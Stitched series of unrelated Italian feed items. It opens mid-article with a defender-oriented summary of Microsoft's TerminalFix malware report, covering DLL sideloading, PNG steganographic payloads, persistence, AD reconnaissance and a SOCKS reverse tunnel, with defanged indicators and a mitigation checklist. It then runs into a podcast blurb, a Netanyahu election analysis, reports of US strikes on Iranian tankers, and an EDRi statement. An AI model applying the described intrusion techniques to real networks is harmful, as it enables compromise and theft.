Qui la campagna mostra la sua sofisticazione: il file batch esegue LockScreenContentServer.exe, un eseguibile Windows legittimo e firmato digitalmente, che al lancio cerca automaticamente dui70.dll nella propria directory prima di controllare System32. L’attaccante sfrutta esattamente questo ordine di ricerca (T1574.001 nel framework MITRE ATT&CK) piazzando una DLL malevola con lo stesso nome accanto al binario firmato. Il codice malevolo parte quindi “dentro” un processo attendibile agli occhi di qualsiasi soluzione basata su reputazione del file firmatario.

4. Steganografia: payload nascosti in immagini PNG


La DLL scarica una o più immagini PNG da server come bestsocialmedianewspapper[.]com ed estrae dati binari nascosti nei canali RGBA dei pixel, con i primi 8 byte che codificano la lunghezza del payload come intero a 64 bit. Suddividere il payload su più immagini rende ancora più difficile il rilevamento a livello di rete, dato che il traffico appare come un semplice download di immagini verso un CDN qualunque.

5. Persistenza doppia


Il malware si assicura la sopravvivenza al riavvio tramite due meccanismi paralleli: una chiave in HKCU\...\Run e un’attività pianificata che rilancia l’eseguibile ogni 60 minuti. La ridondanza serve a resistere anche a una bonifica parziale.

6. Ricognizione dell’ambiente Active Directory


Una volta stabilito, lo script effettua enumerazione del dominio (trust, domain admin), ping sweep dei server interni e raccolta di informazioni di sistema, il tutto orientato a mappare controller di dominio, database, server di backup, gateway e sistemi di posta come obiettivi di movimento laterale.

7-8. Loop di comando e tunnel inverso


Un ciclo di file-watch controlla periodicamente un file di testo per nuovi comandi, li esegue con Invoke-Expression e ne salva l’output. Il collegamento con l’infrastruttura dell’attaccante avviene tramite una copia ufficiale di Python 3.14.5, lanciata con pythonw.exe per restare invisibile, che esegue uno script client custom (client.py). Questo implant stabilisce una connessione TLS con upgrade a WebSocket verso gitnow[.]dev:443 e implementa un proxy TCP in stile SOCKS5: l’attaccante può quindi istruire l’implant a connettersi a qualsiasi host interno raggiungibile dalla macchina compromessa, di fatto trasformandola in un pivot verso la rete aziendale. Lo script ruota anche gli User-Agent tra Chrome, Firefox e Safari per confondersi con il traffico normale.

Indicatori di compromissione principali


  • Domini C2/hosting: gitnow[.]dev (tunnel, porta 443), bestsocialmedianewspapper[.]com (hosting steganografico), offlineupdater[.]com (failover), linked-log[.]com (sito compromesso)
  • Processo abusato: LockScreenContentServer.exe in esecuzione da percorsi non standard (es. C:\ProgramData\...)
  • DLL malevola: dui70.dll caricata tramite sideloading (nove varianti hash osservate)
  • Rilevamenti Microsoft Defender: Trojan:Win32/ClickFix.*, Trojan:Win32/TermFix.*, Trojan:Win64/DLLHijack.DAB!MTB, Trojan:Python/Indigo.SA


Come proteggere l’infrastruttura: checklist operativa


Microsoft e diversi ricercatori indipendenti convergono su un set comune di contromisure, applicabili sia con Microsoft Defender che con altri stack EDR:

  • Restringere l’esecuzione di PowerShell con AppLocker o Windows Defender Application Control, limitando gli script non firmati e abilitando il Constrained Language Mode per gli utenti standard.
  • Controllare o disabilitare la finestra Esegui (Win+R) tramite policy per gli utenti che non ne hanno necessità operativa, riducendo drasticamente la superficie di attacco di ClickFix.
  • Monitorare l’esecuzione di binari LOLBin firmati (come LockScreenContentServer.exe) da percorsi anomali quali ProgramData o Temp, non dalla loro directory di sistema abituale.
  • Abilitare lo script block logging di PowerShell (Event ID 4104) per avere visibilità sui comandi effettivamente eseguiti, non solo sul processo lanciato.
  • Attivare le regole ASR (Attack Surface Reduction) che bloccano script offuscati, eseguibili poco diffusi/nuovi e il lancio di contenuti scaricati da JavaScript/VBScript.
  • Configurare Windows Terminal per avvisare su incollaggi multi-riga, così da rompere l’automatismo copia-incolla-invio su cui si basa l’intera catena.
  • Formare gli utenti spiegando esplicitamente che nessuna verifica CAPTCHA legittima richiede mai di aprire un terminale o una finestra di esecuzione comandi.
  • Se vengono rilevati indicatori della campagna, trattare l’host come compromesso a livello di rete: ruotare le credenziali usate su quella macchina (comprese quelle di dominio se sono state inserite) e verificare eventuali connessioni SOCKS anomale verso l’esterno.


Conclusione


TerminalFix conferma una tendenza che i sistemisti dovrebbero già avere sul radar: le tecniche di social engineering come ClickFix non sono più un problema “consumer” legato a infostealer opportunistici, ma vengono usate come testa di ponte per intrusioni enterprise complete, con ricognizione Active Directory e accesso di rete persistente. Il punto debole non è tecnico ma comportamentale, ed è proprio per questo che i controlli più efficaci — blocco di PowerShell non firmato, restrizioni su Win+R, logging degli script — vanno applicati indipendentemente dal fatto che l’endpoint protection riconosca o meno la specifica variante del giorno.

Fonte: Microsoft Security Blog – “TerminalFix campaign deploys reverse tunnel through multistage intrusion”


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È venuto a trovarmi Dargen D'Amico. Insieme abbiamo discusso del cosa significhi oggi etichettare le canzoni come politiche, del tema migrazioni e delle sostanze illegali, dell'impatto che hanno i social sulla creazione artistica, e del ruolo della musica in tutte queste trasformazioni.

Qui il video sulla mia istanza PeerTube: video.marcocappato.it/w/rrmWM2…


Politica, TikTok e la rivolta delle macchine, con Dargen D'Amico


Ho incontrato Dargen D'Amico, rapper e cantautore, e insieme ci siamo chiesti cosa significa fare politica oggi. È solo una questione di palazzi, partiti ed egoismo di potere, o può essere un atto quotidiano di cura e solidarietà verso la collettività?

Dal disincanto verso la classe politica abbiamo allargato lo sguardo alle contraddizioni che affrontiamo tutti i giorni: l'antiproibizionismo e i doppi standard culturali tra vino e cannabis, la trappola dell'iperconnessione e dei social network, l'approccio che abbiamo verso il tema delle migrazioni, fino all'impatto dell'intelligenza artificiale e al paradosso del monopolio tecnologico. Un dialogo a ruota libera tra la fatica di restare umani e la necessità di guardare al futuro con lucidità.

✍️ Iscriviti alla mia newsletter: marcocappato.substack.com/subs…
È il canale in cui cercherò di stare dietro alle notizie e commentare quello che succede.

Se vuoi inviarmi domande o riflessioni, scrivimi a marcocappato@substack.com


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🔬Associazione Luca Coscioni: associazionelucacoscioni.it/
🇪🇺 Eumans: eumans.eu/

Con il supporto dell'Associazione Luca Coscioni
🐐 Powered by Biquette: instagram.com/biquette.it/

00:00 Intro
01:01 I pregiudizi contro la politica
05:39 Può esserci una democrazia diversa?
12:20 Perché non proibire le sostanze
16:16 Piattaforme digitali e creazione artistica
23:58 Dare valore alla comunità
28:02 Perché c'è resistenza contro le migrazioni
33:46 Diritto alla scienza e accesso alle cure
40:22 Velocità tecnologica, potere e monopoli digitali
45:34 Responsabilità personale e disobbedienza civile
49:09 Cosa è successo alla musica
53:45 Domanda trappola


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☕ CYBERBRIEFING MATTUTINO — Giovedì 3 settembre 2026

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Netanyahu alza la tensione su tutti i fronti in vista del voto in Israele


Netanyahu arriva al voto del 27 ottobre indietro nei sondaggi e, secondo il New York Times, intende alzare la tensione con Hezbollah, Hamas, Siria e Turchia per presentarsi come garante della sicurezza. Ma Washington cerca di frenarlo su ogni fronte.

Per diverse settimane Benjamin Netanyahu ha guidato i bombardamenti contro le posizioni di Hezbollah nel sud del Libano, le uccisioni mirate di oltre 20 persone a Gaza e l'attacco a una base aerea nel nord della Siria, concepito come avvertimento alla Turchia. Non ha invece fermato le violenze dei coloni in Cisgiordania, che secondo gli stessi vertici militari israeliani rischiano di innescare una nuova rivolta palestinese. L'innalzamento della tensione su più fronti pesa su un esercito già sottoposto a fortissima pressione dopo quasi tre anni di guerra e su una popolazione stremata.

Ma per quanto possano essere solide le ragioni di sicurezza nazionale, scrive David Halbfinger in un'analisi del New York Times, il primo ministro israeliano ha anche motivi politici per cercare lo scontro. Netanyahu si presenta, infatti, alle elezioni del 27 ottobre in svantaggio nei sondaggi, che attribuiscono ai suoi avversari un consenso vicino a quello necessario per estromettere lui e la sua coalizione dal governo. L'ultima rilevazione del Times of Israel assegna 25 seggi a Yashar, il partito di Gadi Eisenkot, e 21 al Likud, senza che nessuno dei due schieramenti raggiunga la maggioranza, ipotesi confermata anche dal modello di previsione di Daniele Angrisani.
angrisanidj.github.io/modello-…
Alleati e rivali politici attaccano Netanyahu da destra proprio sul terreno della sicurezza e il premier ha risposto alzando i toni. Ma Eisenkot, ex capo di Stato Maggiore, gode di una fiducia maggiore tra gli elettori su questo tema, mentre Netanyahu continua a pagare politicamente il fatto di essere stato al governo quando Hamas attaccò Israele il 7 ottobre 2023. Al premier resta però il vantaggio di chi occupa la carica: in caso di crisi, l'elettorato tende a compattarsi attorno alla leadership nazionale.

Secondo sondaggisti israeliani citati dal New York Times, se la sicurezza nazionale dovesse diventare la principale preoccupazione degli elettori il giorno del voto, il Likud potrebbe guadagnare fino a 3 seggi alla Knesset, quanto basta per impedire all'opposizione di conquistare una maggioranza e consentire a Netanyahu di restare al potere fino a nuove elezioni. "Netanyahu vuole incendiare ogni fronte, perché così può presentarsi come Mister Sicurezza", ha dichiarato al New York Times Shira Efron, analista israeliana della RAND Corporation.

"Ma questo lo aiuta anche a distogliere l'attenzione dai fallimenti del 7 ottobre e degli ultimi tre o quattro anni di governo, perché la discussione si concentrerà sulla situazione della sicurezza e non sui danni che il suo governo ha provocato a Israele".


Da parte sua, Netanyahu non nasconde il tentativo di trasformare le tensioni regionali in un argomento elettorale. In un video pubblicato martedì ha raccontato di aver sentito che il presidente dell'Autorità Palestinese Mahmoud Abbas "vuole che io perda le elezioni". "Gli ayatollah vogliono che io perda le elezioni", ha proseguito sorridendo. "Hezbollah e Hamas vogliono che io perda. Anche la Turchia, tra l'altro. Lo dicono apertamente. Chiedetevi: chi vogliono i nemici di Israele che vinca queste elezioni?".

Mercoledì ha diffuso un altro video da un avamposto militare a Gaza, indossando giubbotto antiproiettile ed elmetto. Ha rivendicato il controllo israeliano del 60% della Striscia e promesso di fare "tutto per raggiungere il nostro obiettivo, che è disarmare Hamas e smilitarizzare Gaza".

Washington lo frena su ogni fronte


Il principale ostacolo alla possibilità che una nuova emergenza di sicurezza favorisca Netanyahu arriva però dal più importante alleato di Israele. Su quasi tutti i fronti, gli Stati Uniti di Donald Trump stanno infatti chiedendo a Netanyahu di abbassare la tensione.

Il presidente Donald Trump ha tenuto Israele ai margini dello scontro con l'Iran, affidando per ora alle sanzioni economiche il compito di esercitare pressione su Teheran. Nel sud del Libano, Israele sta partecipando a un lento negoziato politico supervisionato dal Segretario di Stato Marco Rubio e ha accettato controvoglia di concedere tempo all'esercito libanese per sgomberare Hezbollah e assumere il controllo di alcune aree vicine al confine.

In Siria, il governo del presidente Ahmed al-Sharaa, che non rappresenta una minaccia militare immediata per Israele, ha chiesto la mediazione americana per negoziare un accordo con Israele che preveda il ritiro israeliano dalla zona cuscinetto. In Cisgiordania, dove coloni violenti e alcuni soldati hanno attaccato e costretto alla fuga civili palestinesi, persino l'ambasciatore americano Mike Huckabee, generalmente vicino al movimento dei coloni, ha fatto pressione sul governo israeliano perché intervenga. A metà agosto ha definito senza mezzi termini "terroristi israeliani" gli autori dell'assedio alla casa di un cittadino palestinese-americano nel villaggio di Qusra.

Anche a Gaza la libertà d'azione di Israele è in parte limitata dal Board of Peace istituito da Trump, organismo nel quale Jared Kushner, genero del presidente e suo interlocutore informale sui dossier mediorientali, svolge un ruolo centrale. A luglio il Board ha ottenuto da Hamas un primo assenso a un piano di disarmo completo, che prevedeva la consegna delle armi sotto supervisione internazionale. Israele ha respinto la proposta e ordinato nuovi attacchi sulla Striscia.

Il 26 agosto l'alto rappresentante del Board per Gaza, Nickolay Mladenov, ha criticato quei raid davanti al Consiglio di Sicurezza dell'ONU, sostenendo che avessero prodotto pochi risultati e soltanto ritardato la smilitarizzazione della Striscia. Nimrod Novik, ex consigliere diplomatico di Shimon Peres, ha detto al New York Times che Netanyahu sembra voler cercare a tutti i costi un fronte sul quale poter aumentare la pressione senza incontrare l'opposizione di Washington. "È come un ladro in un albergo: prova ogni porta per scoprire quale si apre", ha detto. "Qual è il punto di minor resistenza dell'Amministrazione Trump?".

Il raid in Siria come messaggio ad Ankara


In questa ricerca rientrerebbe, secondo Halbfinger, il bombardamento a sorpresa del 18 agosto contro una base aerea dismessa nel nord della Siria, circa 60 km dal confine turco. Israele ha condotto otto raid sulla pista di Abu al-Duhur, nella provincia di Idlib, senza provocare vittime, quattro giorni dopo un avvertimento del direttore del Mossad al Ministro degli Esteri siriano.

Non sono stati soltanto esponenti della sinistra israeliana a ipotizzare un movente politico. In un podcast pubblicato dopo l'attacco, Tom Barrack, ambasciatore americano in Turchia e inviato speciale per la Siria, ha detto che "una teoria" sulla decisione di colpire era che si trattasse di "un'idea preelettorale ben accolta". Barrack ha precisato che si trattava di un'ipotesi e non di una conclusione dell'intelligence.

I funzionari israeliani hanno invece descritto il bombardamento come un avvertimento ad Ankara affinché non installasse una propria presenza militare nella base. Secondo due funzionari siriani, una delegazione turca aveva visitato recentemente l'aeroporto nell'ambito delle discussioni sul suo possibile ripristino. Israele ha sostenuto che Damasco intendesse consentire lo schieramento di truppe turche e avesse "scelto di ignorare" i suoi avvertimenti.

Per gli esperti israeliani, il rischio principale sarebbe l'installazione da parte turca di sistemi di difesa aerea in grado di minacciare i jet israeliani nello spazio aereo siriano, utilizzato da Israele anche come corridoio per gli attacchi contro l'Iran. Nella comunicazione israeliana, osserva Halbfinger, manca però qualsiasi riconoscimento della Siria come Stato dotato di proprie prerogative sovrane e della violazione della sua sovranità da parte di Israele. Lo spazio aereo siriano viene trattato quasi come un'ulteriore zona cuscinetto, al pari dei circa 400 km quadrati nel sud della Siria già occupati dalle truppe israeliane come fascia difensiva avanzata lungo il confine.

Rivolgendosi al pubblico internazionale, l'ufficio di Netanyahu ha affermato in inglese che Israele voleva soltanto ripristinare lo "status quo" con la Siria. Per il pubblico interno, invece, il premier ha diffuso un video in ebraico dai toni più minacciosi e rivolto direttamente ad Ankara. "Non tollereremo l'istituzione di una presenza militare turca che si estenda verso sud, perché ci minaccia", ha detto. Poi ha aggiunto: "Abbiamo trasmesso il messaggio. Come dirlo? Non fatelo".

L'ultima parola, pronunciata in inglese, richiama l'avvertimento che Joe Biden rivolse a Hezbollah e all'Iran nell'ottobre 2023, una settimana dopo l'inizio della guerra a Gaza, perché non entrassero nel conflitto. Che Netanyahu rivolga un avvertimento simile alla Turchia è preoccupante, secondo Gallia Lindenstrauss, esperta di relazioni israelo-turche all'Institute for National Security Studies di Tel Aviv. "Sta presentando al pubblico israeliano l'idea che Israele abbia un potere illimitato, ed è una cosa molto pericolosa", ha detto al New York Times.

Parlare in questi termini alla Turchia non è come farlo con Hamas, Hezbollah o la Siria: Ankara dispone infatti del secondo esercito più grande dell'Alleanza Atlantica e il presidente turco Recep Tayyip Erdoğan è uno stretto alleato di Trump. La Turchia, ha aggiunto Lindenstrauss, aveva quindi motivo di aspettarsi maggiore cautela da parte israeliana, anziché un raid improvviso così vicino al proprio confine, perché "nel nord della Siria, nel bilancio degli interessi, quelli turchi sono maggiori di quelli israeliani".

A giudicare dalla copertura dei media turchi, tuttavia, Ankara non sembra interpretare per ora gli avvertimenti israeliani come una minaccia concreta di scontro militare. "Per fortuna", ha detto Lindenstrauss, "la Turchia sta interpretando questa azione israeliana solo come parte della campagna elettorale di Netanyahu".

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Attackers Exploit Critical Langflow and Rails Flaws to Hunt Cloud Secrets
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Gli Stati Uniti colpiscono due petroliere iraniane nello Stretto di Hormuz


Washington inaugura la strategia "petroliera per petroliera" e attacca anche radar, missili e siti dei Guardiani della Rivoluzione iraniani. Trump minaccia nuovi raid se Teheran reagirà.

Le forze statunitensi hanno colpito ieri due petroliere del governo iraniano, insieme a circa un centinaio di altri obiettivi lungo la costa dell'Iran. È la prima volta dall'inizio della guerra che gli Stati Uniti attaccano petroliere iraniane come rappresaglia per gli attacchi contro le navi commerciali nello Stretto di Hormuz, anziché per impedire loro di violare il blocco navale. Secondo funzionari americani citati da Axios, l'operazione inaugura una nuova politica "tanker for tanker", ovvero "petroliera per petroliera", approvata da Donald Trump per scoraggiare nuovi attacchi iraniani alle navi in transito nello Stretto.

Le due petroliere erano all'ancora al largo della costa iraniana, a nord della linea del blocco americano, e sono state colpite da missili lanciati da droni statunitensi contro le sale macchine. I raid sono cominciati intorno a mezzogiorno sulla costa orientale degli Stati Uniti, le 18 in Italia, e si sono conclusi in serata. Tra gli altri obiettivi figuravano siti di difesa aerea dei Guardiani della Rivoluzione, radar, mezzi per la posa di mine, centri di comunicazione, lanciatori di missili da crociera antinave e di droni d'attacco.

La Casa Bianca e il Comando Centrale degli Stati Uniti (CENTCOM), responsabile delle operazioni militari americane in Medio Oriente, hanno presentato gli attacchi come una risposta ai recenti tentativi dei Guardiani di colpire navi commerciali nello stretto e basi statunitensi nella regione, in particolare all'attacco di lunedì con droni e missili contro le basi di King Hussein e Azraq, in Giordania.

Stretto di Hormuz

Due petroliere e un centinaio di obiettivi: la mappa dei raid americani sull’Iran


Per la prima volta dall’inizio della guerra gli Stati Uniti hanno colpito petroliere del governo iraniano, insieme a radar, lanciatori e siti di difesa aerea lungo la costa. Trump ha approvato la linea «petroliera per petroliera».

Grafica di FocusAmerica 2 settembre 2026

54°E56°E58°E60°E23°N24°N25°N26°N27°N28°N29°N30°N Iran Emirati Arabi Uniti Oman Pakistan Golfo Persico Golfo di OmanGolfo di Oman Stretto di Hormuz Bandar AbbasJaskChabaharKonarakMinabSirikIsola di QeshmIsola di LavanAsaluyehAeroporto di JiroftKuhestakLarak (domenica)
Inizio dei raid12:00 Washington
18:00 Italia
Fuori mappa, a ovestGiordania: basi di King Hussein e Azraq attaccate lunedì con droni e missili
100 km
×

Tocca o passa il cursore su un punto per i dettagli di ogni località.

Località colpite martedì (media iraniani) Casa colpita durante un matrimonio Attacco USA di domenica

MartedìBandar Abbas, Jask, Chabahar, Konarak, Minab, Sirik, isola di Qeshm, isola di Lavan, polo del gas di Asaluyeh, aeroporto di Jiroft (Kerman)
KuhestakSulla costa dell’Hormozgan: una casa in cui si celebrava un matrimonio sarebbe stata colpita da un raid americano
DomenicaIsola di Larak: gli Stati Uniti distruggono due lanciatori delle Guardie pronti a disseminare mine

Petroliera per petroliera

Cosa hanno colpito gli Stati Uniti martedì


Le due petroliere, all’ancora a nord della linea del blocco, sono state centrate nelle sale macchine da missili lanciati da droni.

2petroliere del governo iraniano
circa 100altri obiettivi lungo la costa
circa 40navi scortate attraverso lo stretto, nessuna colpita

Tra gli obiettivi Siti di difesa aereaRadarMezzi posamineCentri di comunicazioneLanciatori di missili antinaveLanciatori di droni

La sequenza

Da domenica a martedì: tre giorni di colpi e risposte


Dall’attacco americano di domenica a Larak alla ritorsione iraniana di martedì sera.

Domenica 30 agosto
Stati Uniti
2lanciatori delle Guardie distrutti sull’isola di Larak

Erano pronti a disseminare mine marine nello stretto.

Lunedì 31 agosto
Iran
2basi in Giordania attaccate con droni e missili: King Hussein e Azraq

Otto missili abbattuti, secondo Trump.

Martedì 1º settembre
Stati Uniti
~100obiettivi colpiti, più due petroliere

Dalle 18 italiane fino a sera. In serata la ritorsione iraniana.

La ritorsione

Venticinque missili balistici verso la Giordania, nessuno a segno


Secondo Washington solo la metà ha raggiunto lo spazio aereo giordano. Le Forze armate di Amman ne hanno intercettati dieci; tre sono caduti in zone disabitate.


12 non arrivati nello spazio aereo giordano 10 intercettati 3 caduti in zone disabitate

BahreinCirca 20 droni contro le basi americane, quasi tutti intercettati
KuwaitMissili e droni contro basi statunitensi
ErbilDue droni contro la base nel Kurdistan iracheno, entrambi abbattuti

La logica dell’operazione
«Tagliare l’erba»

Così un funzionario americano ha descritto ad Axios il piano: colpire periodicamente radar e lanciatori iraniani, anche ogni mese.

L’obiettivo dichiarato

Impedire all’Iran di ricostruire radar e sistemi missilistici. Gli attacchi di martedì avrebbero «comprato almeno un mese» di minore pericolo per il traffico.

La minaccia di Trump

Se l’Iran reagisce, sarà colpito di nuovo «molto più duramente». E l’attacco più grande resta dietro le quinte.

Il bilancio

Le vittime di Kuhestak: due fonti iraniane, due conteggi


Secondo i media iraniani un raid americano avrebbe colpito una casa dove si celebrava un matrimonio. Il Centcom dice di essere a conoscenza delle notizie e di non prendere mai di mira i civili.

Ahmad Nafisivicegovernatore dell’Hormozgan, alla tv di Stato
5mortitra cui un bambino
almeno 68feriti

Ministero degli EsteriRepubblica islamica dell’Iran
oltre 50tra morti e feritibilancio complessivo

Il portavoce del Centcom Tim Hawkins: i militari americani «non prendono mai di mira i civili, a differenza dei Guardiani».

Fonte Elaborazione FocusAmerica su Centcom, Casa Bianca, Axios, Forze armate giordane, tv di Stato e ministero degli Esteri iraniani. Località colpite secondo i media iraniani. Cartografia: Natural Earth. Dati aggiornati al 2 settembre 2026, bilanci provvisori.

"Tagliare l'erba" ogni mese


I raid rientrano però anche in un piano più ampio, discusso nei giorni scorsi da Trump e dai suoi collaboratori, per impedire all'Iran di ricostruire i radar e i sistemi missilistici necessari ad attaccare le navi in transito. Un funzionario americano ha usato l'espressione "tagliare l'erba, ovvero colpire periodicamente le capacità iraniane per ridurre il rischio per le petroliere, le unità della Marina e gli aerei dell'Aeronautica statunitense. Secondo la stessa fonte, gli attacchi di martedì hanno degradato le capacità offensive iraniane nello stretto e "comprato almeno un mese" di minore pericolo per il traffico commerciale.

Nel frattempo, le forze americane hanno continuato a scortare le navi attraverso lo stretto. Circa 40 imbarcazioni sono transitate martedì in entrata e in uscita, trasportando complessivamente milioni di barili di petrolio. I missili antinave e i droni lanciati dai Guardiani contro i convogli sono stati intercettati e nessuna nave è stata colpita.

La risposta iraniana e la minaccia di Trump


La ritorsione iraniana, secondo Washington, è fallita. L'Iran ha lanciato circa 25 missili balistici verso la Giordania, ma soltanto la metà avrebbe raggiunto lo spazio aereo del Paese. Le Forze Armate giordane hanno confermato mercoledì di aver intercettato dieci missili, mentre altri tre sono caduti in zone disabitate senza provocare vittime. Circa una ventina di droni sono stati lanciati contro le basi americane in Bahrein e quasi tutti sono stati intercettati.

L'Iran ha inoltre lanciato missili e droni contro basi statunitensi in Kuwait e due droni contro la base di Erbil, nel Kurdistan iracheno, entrambi abbattuti. I Guardiani hanno presentato gli attacchi come una risposta a un raid americano su Kuhestak, sulla costa dell'Hormozgan, e hanno sostenuto di aver abbattuto un drone statunitense con un nuovo sistema di difesa.

Sul raid di Kuhestak le versioni delle due parti divergono. I media iraniani hanno riferito che un attacco americano avrebbe colpito una casa nella quale si stava celebrando un matrimonio. Il vicegovernatore provinciale Ahmad Nafisi ha riferito alla televisione di Stato di 5 morti, tra cui un bambino, e almeno 68 feriti, mentre il Ministero degli Esteri iraniano ha parlato complessivamente di oltre 50 morti e feriti. Il portavoce del CENTCOM, capitano Tim Hawkins, ha replicato che il comando è "a conoscenza delle notizie, originate dai media di Stato iraniani" e che "i militari americani non prendono mai di mira i civili, a differenza dei Guardiani".

Le nuove minacce di Trump


"Se la nazione fallita dell'Iran reagirà a questo attacco pienamente giustificato, sarà colpita di nuovo, molto più duramente e a un livello molto più alto. Ma non sarà ancora l'attacco più grande: quello resta dietro le quinte e, quando sarà finito, della Repubblica islamica dell'Iran resterà ben poco", ha scritto minacciosamente Trump su Truth Social. Il presidente ha giustificato i nuovi raid con il tentativo iraniano di posare nuove mine nello stretto e con gli otto missili lanciati contro una base americana in Giordania, tutti abbattuti. Ha inoltre sostenuto che nello stretto non vi siano più mine, perché "completamente rimosse o fatte esplodere".

Poche ore prima, il Dipartimento di Stato statunitense aveva avvertito i cittadini americani in Medio Oriente di prepararsi a "possibili cancellazioni di voli, chiusure dello spazio aereo e interruzioni dei collegamenti". "Gli iraniani non hanno soltanto perso il controllo dello Stretto di Hormuz, hanno perso anche il controllo del conflitto. Oggi non hanno ottenuto nulla", ha dichiarato un funzionario americano ad Axios. Ma la stessa espressione utilizzata "tagliare l’erba", tuttavia, lascia intendere che il risultato rivendicato da Washington sia considerato soltanto temporaneo: secondo gli strateghi del Pentagono, gli attacchi di martedì avrebbero ridotto la minaccia per almeno un mese, al termine del quale potrebbe però rendersi necessario colpire nuovamente radar e lanciatori iraniani.


Gli Stati Uniti attaccano nuovamente postazioni iraniane nello Stretto di Hormuz


Le forze americane hanno ripreso a colpire obiettivi iraniani nell’area dello Stretto di Hormuz. Lo ha annunciato questa sera il Comando Centrale degli Stati Uniti (Central Command, Centcom), responsabile delle operazioni militari americane in Medio Oriente. I raid sono cominciati a mezzogiorno, ora di Washington, ovvero le 18 in Italia, e hanno preso di mira postazioni dei Guardiani della Rivoluzione (IRCG), il corpo militare d’élite della Repubblica islamica.

Secondo il Centcom, gli attacchi odierni sono una risposta ai recenti tentativi dei Guardiani di colpire navi commerciali nello Stretto e basi militari americane presenti nella regione. Lo scambio di attacchi era già ripreso domenica, dopo circa un mese di pausa.

Gli Stati Uniti avevano distrutto due lanciatori sull’isola di Larak, che secondo Washington erano pronti a disseminare mine marine nello Stretto. Il giorno dopo l’Iran aveva risposto lanciando missili contro due basi americane in Giordania, otto dei quali erano stati intercettati.

L’operazione di questa sera rientra in un piano che il presidente e i suoi principali consiglieri valutavano da giorni e che Axios aveva già anticipato: una serie di attacchi limitati nell’area dello Stretto per impedire all’Iran di ricostruire radar e capacità missilistiche necessarie ad attaccare le navi. Un funzionario americano ha spiegato ad Axios che l’obiettivo è ridurre il rischio di attacchi iraniani contro petroliere, unità della Marina e aerei dell’Aeronautica statunitensi. Si tratta, nelle sue parole, di “tagliare l’erba”.

Stretto di Hormuz

Dieci località colpite in un giorno: la mappa dei raid americani sull’Iran


A mezzogiorno, ora di Washington, il Centcom ha iniziato a colpire le postazioni delle Guardie della rivoluzione lungo la costa meridionale iraniana. È il terzo giorno consecutivo di colpi e risposte tra i due Paesi.

Grafica di FocusAmerica 1º settembre 2026

54°E56°E58°E60°E23°N24°N25°N26°N27°N28°N29°N30°N Iran Emirati Arabi Uniti Oman Pakistan Golfo Persico Golfo di OmanGolfo di Oman Stretto di Hormuz Bandar AbbasJaskChabaharKonarakMinabSirikIsola di QeshmIsola di LavanAsaluyehAeroporto di JiroftLarak (domenica)
Inizio dei raidOre 12:00 Washington
Ore 18:00 Italia
Fuori mappa, a ovestGiordania: due basi americane bersaglio lunedì dei missili iraniani
100 km
×

Tocca o passa il cursore su un punto per i dettagli di ogni località.

Prima ondata (martedì) Ore successive Attacco USA di domenica

Prima ondataBandar Abbas, Jask, Chabahar, Konarak, Minab, Sirik, isola di Qeshm
Ore successiveIsola di Lavan, polo del gas di Asaluyeh, aeroporto di Jiroft (Kerman)
DomenicaIsola di Larak: gli Stati Uniti distruggono due lanciatori delle Guardie pronti a disseminare mine

La sequenza

Da domenica a martedì: tre giorni di colpi e risposte


Lo scambio di fuoco è ripreso dopo circa un mese di pausa.

Domenica 30 agosto
Stati Uniti
2lanciatori delle Guardie distrutti sull’isola di Larak

Erano pronti a disseminare mine marine nello Stretto di Hormuz.

Lunedì 31 agosto
Iran
2basi americane in Giordania attaccate dai missili iraniani
8missili intercettati

Martedì 1º settembre
Stati Uniti
10località colpite nel sud dell’Iran

I Guardiani della Rivoluzione hanno annunciato di aver dato inizio alla risposta.

La logica dell’operazione
«Tagliare l'erba»

Così un funzionario americano ha descritto ad Axios il piano del Pentagono: attacchi limitati e ripetuti nell’area dello Stretto.

L’obiettivo dichiarato

Impedire all’Iran di ricostruire radar e capacità missilistiche con cui attaccare petroliere, navi e aerei americani.

La minaccia di Trump

Se l’Iran reagisce, sarà colpito di nuovo «a un livello molto più duro». E l’attacco più grande resta in attesa.

Il bilancio

Le vittime a Sirik: due fonti iraniane, due conteggi


Un attacco avrebbe centrato un’abitazione dove era in corso un matrimonio. I bilanci restano provvisori.

Mezzaluna Rossasezione provinciale, citata da Fars
almeno 4mortitra cui un bambino
oltre 50feritisoccorsi ancora in corso

Vicegovernatoreprovincia di Hormozgan, alla tv di Stato
2mortibilancio provvisorio

I Guardiani della Rivoluzione promettono una «punizione severa»; l’agenzia Tasnim parla di una risposta «molte volte più grande».

Fonte Elaborazione FocusAmerica su comunicati del Comando centrale degli Stati Uniti (Centcom), Axios, agenzie Fars e Tasnim, tv di Stato iraniana. Cartografia: Natural Earth. Dati aggiornati al 1º settembre 2026, bilanci provvisori.

Colpita la costa meridionale dell’Iran


Secondo i media iraniani, i raid di questa sera hanno colpito diverse località della costa meridionale del Paese, tra cui Bandar Abbas, Jask, Chabahar, Konarak, Minab e Sirik, oltre all’isola di Qeshm. Nelle ore successive gli attacchi avrebbero raggiunto anche l’isola di Lavan, il polo del gas di Asaluyeh e l’aeroporto di Jiroft, nella provincia iraniana di Kerman.

Uno dei colpi avrebbe centrato un’abitazione nei pressi di Sirik, città costiera dell’Iran dove era in corso un matrimonio. La sezione provinciale della Mezzaluna Rossa iraniana, citata dall’agenzia stampa iraniana Fars, ha riferito di almeno 4 morti, tra cui un bambino, e di oltre 50 feriti, mentre i soccorsi erano ancora in corso. Il vicegovernatore della provincia di Hormozgan ha invece parlato alla televisione di Stato di due vittime.

Le minacce reciproche di Washington e Teheran


Poco dopo la notizia dei raid, il presidente statunitense Donald Trump ha scritto su Truth Social che l’attacco è stato “pienamente giustificato” e che, se l’Iran, da lui definito una “nazione fallita”, dovesse reagire, verrebbe attaccato di nuovo a un livello “molto più duro e più alto”. Anche questo di stasera, ha aggiunto, non è l’attacco più grande: quello resta “pronto in attesa” e, quando dovesse essere concluso, della Repubblica Islamica dell’Iran “resterebbe molto poco”.

“Una punizione severa attende gli aggressori”, ha risposto su X il portavoce dei Guardiani della Rivoluzione Hossein Mohebi, aggiungendo che gli Stati Uniti “si pentiranno dei loro ultimi attacchi”. L’agenzia Tasnim, vicina ai pasdaran, ha citato una fonte militare iraniana secondo cui la risposta sarà “molte volte più grande” degli attacchi americani e gli interessi e le basi statunitensi nella regione finiranno rapidamente sotto il fuoco iraniano.


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EDRi stands in solidarity with Autistici/Inventati after “terrorist” designation by the US government


The United States government has designated the Italian non-profit organisation Autistici/Inventati as a "Specially Designated Global Terrorist" for providing digital infrastructure to supposedly “violent far-left militants.” This targeting of A/I is also an attack on independent internet infrastructure, fundamental rights of multiple collectives, safe and secure communications, democratic anti-authoritarian organising and the democratic integrity of the EU.

